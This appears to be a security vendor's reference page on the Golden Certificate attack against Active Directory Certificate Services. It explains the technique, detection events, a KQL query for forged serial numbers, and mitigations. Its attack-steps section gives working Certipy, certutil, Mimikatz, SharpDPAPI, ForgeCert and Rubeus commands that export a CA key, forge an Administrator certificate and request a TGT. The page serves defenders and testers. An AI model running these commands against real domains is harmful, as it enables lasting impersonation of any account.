1. Resources
  2. Identity Threats
  3. Active Directory

Golden Certificate (Stolen CA Private Key)

Also known as: Golden Certificate, DPERSIST1, Forged certificate, CA private key theft, Certificate forgery with a stolen CA key

An attacker with administrative access to a CA server exports the CA's private key and then signs logon certificates for any account offline, with no record on the CA.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Medium
Detection difficulty
High
Privileges required: Tier 0 or tenant admin
Local administrator on the CA server, or CA administrator rights that allow a key backup. The CA key must be exportable, which is the case for software-stored keys.
What the attacker gains
The CA's signing key. Forged certificates for any user or computer, valid as long as the CA certificate is trusted, that the CA cannot list and cannot revoke in the normal way.
Threat groups
APT29NIMBUS MANTICOREAPT38KimsukyRockeScattered SpiderStorm-0501TeamPCPTeamTNTVolt TyphoonGroups that MITRE ATT&CK records using T1649, T1552.004.

How it works

Every certificate an enterprise CA issues is trusted because it carries the CA's signature. The signature is made with the CA's private key. Whoever holds that key can make the same signature on any certificate content they choose, on any computer, without the CA service being involved.

A domain controller that receives a certificate for logon checks that the certificate chains to a trusted root, that the issuing CA is in the NTAuth store, that the certificate is within its validity period and allowed for authentication, and that it maps to an account. It does not, and cannot, ask the CA whether the CA issued it. A certificate forged with the real key passes every check. This is the technique the Certified Pre-Owned research calls DPERSIST1, and it is the certificate counterpart of the golden ticket.

The attack has two stages.

Stealing the key. By default the CA's key is stored on the CA server, protected by the machine's DPAPI keys. An administrator of the server can get it in several supported and unsupported ways: the CA backup feature (the Certification Authority console or certutil -backupKey), exporting the CA certificate with its key from the local machine store, or decrypting the key file directly with the machine's DPAPI secret. A CA certificate is recognized by its place in the PKI: it is the certificate the CA service is configured to sign with, its Basic Constraints mark it as a CA, and for a root CA the issuer equals the subject.

Forging. With the CA certificate and key in a PFX file, tools build a new certificate for any identity: a UPN or DNS name in the subject alternative name, and, because domain controllers now require a strong mapping, the target's SID in the security extension (OID 1.3.6.1.4.1.311.25.2). The forger controls the serial number, the validity period and the extensions. One detail matters in practice: the certificate needs a CRL distribution point, because the KDC can reject a logon certificate that has none.

An HSM changes the first stage, not the second. If the key cannot be exported, the attacker has to sign on the CA server through the HSM, as in ESC12.

Prerequisites

  • Administrative control of an enterprise CA server: local administrator, or a Domain Admin or CA administrator who can run a backup. A CA server that is not managed as Tier 0, so that server administrators or backup operators can reach it, makes this an escalation path and not only persistence.
  • A CA private key that can be exported or decrypted on the host, which is the default for keys in the Microsoft software key storage provider.
  • The CA's certificate in the NTAuth store, so that its certificates are accepted for logon. Enterprise CAs are added at installation.
  • For each forgery: the name of the target account and its SID. The account must be enabled and able to log on.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Export the CA certificate and key

Remotely with Certipy, using an account that administers the CA. Certipy creates a temporary service on the CA server that runs the backup, retrieves the PFX over SMB and removes the service:

certipy ca -u 'administrator@corp.example.com' -p '<password>' \
    -ns 192.0.2.10 -target 'SRV01.corp.example.com' \
    -config 'SRV01.corp.example.com\CORP-CA' -backup

The result is CORP-CA.pfx. On the CA server itself, the built-in backup does the same:

certutil -backupKey -f -p <backup-password> C:\Windows\Temp\ca-backup

Certify 2.x wraps the backup and prints the PFX as base64:

Certify.exe manage-self --dump-certs

Without the backup interface, the key can be taken from the machine store. SharpDPAPI elevates to SYSTEM, reads the DPAPI_SYSTEM secret and decrypts machine certificate keys:

SharpDPAPI.exe certificates /machine

Mimikatz exports the machine store after patching the key export check:

mimikatz # crypto::capi
mimikatz # crypto::cng
mimikatz # crypto::certificates /systemstore:local_machine /store:my /export

2. Forge a certificate

With Certipy, for Administrator, including the SID and a CRL distribution point:

certipy forge -ca-pfx 'CORP-CA.pfx' \
    -upn 'administrator@corp.example.com' \
    -sid 'S-1-5-21-1004336348-1177238915-682003330-500' \
    -crl 'ldap:///'

Certipy writes administrator_forged.pfx. Without -crl, authentication fails with KDC_ERROR_CLIENT_NOT_TRUSTED. To make the certificate resemble real ones, -template <existing.pfx> copies the extensions of a certificate the CA issued normally.

With Certify 2.x on Windows:

Certify.exe forge --ca-cert CORP-CA.pfx --upn Administrator --sid S-1-5-21-1004336348-1177238915-682003330-500

ForgeCert, the original tool for this, takes the same inputs but has no option for the SID extension:

ForgeCert.exe --CaCertPath CORP-CA.pfx --CaCertPassword "<backup-password>" --Subject "CN=User" --SubjectAltName "administrator@corp.example.com" --NewCertPath administrator.pfx --NewCertPassword "<new-password>"

A certificate without the SID is accepted under Full Enforcement only if the target account also has a strong explicit mapping to it in altSecurityIdentities, as described for ESC14.

3. Authenticate

certipy auth -pfx 'administrator_forged.pfx' -dc-ip 192.0.2.10
Rubeus.exe asktgt /user:Administrator /certificate:<base64-pfx> /ptt

Both return a TGT for the target. Certipy also recovers the account's NT hash.

4. Repeat as needed

The CA key is now on the attacker's system. Step 2 can be repeated for any user or computer, at any time, without touching the network until the certificate is used. Forging a certificate for a computer account and combining it with S4U2Self gives administrative access to that computer.

Impact

The attacker can authenticate as any account in every domain that trusts the CA for logon, for as long as the CA certificate is valid and trusted, which is commonly five to ten years or more. Password resets, the krbtgt rotation and the removal of every account the attacker created do not affect it.

The only complete remediation is to stop trusting the CA: revoke its certificate, remove it from the NTAuth store and from the trusted roots, and replace it. That also invalidates every legitimate certificate the CA issued, so smart cards, device certificates, TLS, Wi-Fi and VPN authentication all have to be reissued. The cost of that cleanup is the reason a stolen CA key is one of the most durable forms of domain persistence.

OPSEC and artifacts

  • The theft is the only moment the CA sees anything. After the key is copied, forging happens offline. An operator therefore puts their care into step 1 and prefers a quiet read of the key file over the backup interface.
  • Backup through the CA. A key backup through the CA's interface writes event 4876 on the CA when Certification Services auditing and the CA's audit filter cover backup and restore. Certipy's remote method also installs and removes a service on the CA server, recorded as event 7045 in the System log, and copies a PFX over SMB.
  • Key access through the crypto providers. With Audit Other System Events enabled, exporting or reading a CA key held by the Microsoft Software Key Storage Provider writes event 5059 and event 5058 on the CA server, naming the key and the account. An export of the CA's key by anything other than a scheduled backup is the signal.
  • DPAPI route. SharpDPAPI and Mimikatz need SYSTEM or a patched LSASS on the CA server. Endpoint protection and LSA protection are the controls that see or stop this; the CA's own log does not.
  • No issuance record. A forged certificate has no event 4887 and no row in the CA database. Tools let the forger pick a serial number and copy extensions from a real certificate, so the certificate looks normal to anyone who only reads it.
  • The logon is still a logon. Event 4768 on the domain controller records the certificate's issuer, serial number and thumbprint. Those values are the one place where the forged certificate must appear, and the serial number will not be in the CA database.
  • Placeholder CRL path. The ldap:/// value that tools insert differs from the full CRL distribution point in the CA's real certificates.

Detection

  • Any export of the CA key. The CA private key export rules cover the CA backup event and key export events on the CA server. Treat an unscheduled one as an incident.
  • Services and logons on the CA server. New services, remote logons by non-PKI accounts and SMB file copies from the CA. The service installation rules are written for domain controllers; apply the same logic to CA servers.
  • Certificate logons with no matching issuance. Collect the serial numbers the CA has issued (from the database or from 4887 events) and compare every certificate logon in 4768 against them. A serial number that names your CA as issuer and is unknown to it is a forged certificate. Before concluding, check every CA with that name, the retention of the logs, and certificates issued before logging began.
  • Privileged accounts using certificates. An administrator who never uses a smart card and suddenly authenticates with one: the weak certificate mapping rules include the built-in Administrator obtaining a TGT with a certificate.
// Certificate logons whose serial number was never issued by the CA
let Issued = WindowsEvent
    | where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
    | extend Serial = tolower(tostring(EventData.SerialNumber))
    | where isnotempty(Serial)
    | distinct Serial;
WindowsEvent
| where EventID == 4768 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Serial = tolower(tostring(EventData.CertSerialNumber)),
         Issuer = tostring(EventData.CertIssuerName),
         Account = tostring(EventData.TargetUserName),
         Source = tostring(EventData.IpAddress)
| where isnotempty(Serial) and Issuer has "CORP-CA"
| where Serial !in (Issued)
| project TimeGenerated, Computer, Account, Source, Issuer, Serial

The query is a starting point: the lookback for issued certificates has to cover the longest certificate lifetime, and the two events may format the serial number differently, so normalize both before comparing.

Mitigation

  • Manage CA servers as Tier 0. Only Tier 0 administrators log on, no shared management agents with remote execution, no backup operators from lower tiers. The Active Directory hardening guide places CAs with the domain controllers.
  • Keep the CA key in an HSM so it cannot be copied off the server, and protect the HSM's own credentials on the host.
  • Protect key backups. A CA backup file is the key. Store backups offline with the same care as the CA.
  • Audit key use on the CA. Enable Audit Certification Services with the CA audit filter for backup and restore, and Audit Other System Events for the key export events.
  • Protect LSASS and credentials on the CA server with LSA protection and Credential Guard; see the LSA protection and Credential Guard guide.
  • Reconcile logons against issuance on a schedule, as in the detection section.
  • If the key is stolen, plan a CA replacement: issue a new CA with a new key, move issuance to it, remove the old CA certificate from the NTAuth store and trusted roots, and revoke it at its parent if it is a subordinate CA. Revoking individual forged certificates does not contain a compromised key. Rotate krbtgt and privileged credentials as well, following the krbtgt password reset guide, because the attacker could impersonate anyone while the key was trusted.

Detection rules for this attack

Log events to collect

FAQ

What is a golden certificate?

A logon certificate that an attacker signs themselves with a stolen CA private key. Domain controllers check that a certificate is correctly signed by a trusted CA, not that the CA has a record of issuing it, so the forged certificate is accepted like a real one. The name follows the golden ticket, which is forged with the krbtgt key.

How is a golden certificate different from a golden ticket?

A golden ticket is a forged Kerberos ticket and stops working when the krbtgt password is reset twice. A golden certificate is forged with the CA key and keeps working through krbtgt resets and account password resets. It ends only when the CA certificate itself is revoked or removed from trust, which invalidates every certificate that CA ever issued.

Can a forged certificate be revoked?

Not through the normal workflow. The CA database has no row for it, so there is nothing to select and revoke. If a forged certificate is recovered, its serial number can be added to the CRL by importing the certificate into the CA database first, but the attacker can forge another with a different serial number at any time.

Does an HSM prevent golden certificates?

It prevents the key from being copied off the server, which removes the offline forgery described here. It does not prevent someone with enough access on the CA server from asking the HSM to sign for them. ESC12 is an example of that with one HSM model.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.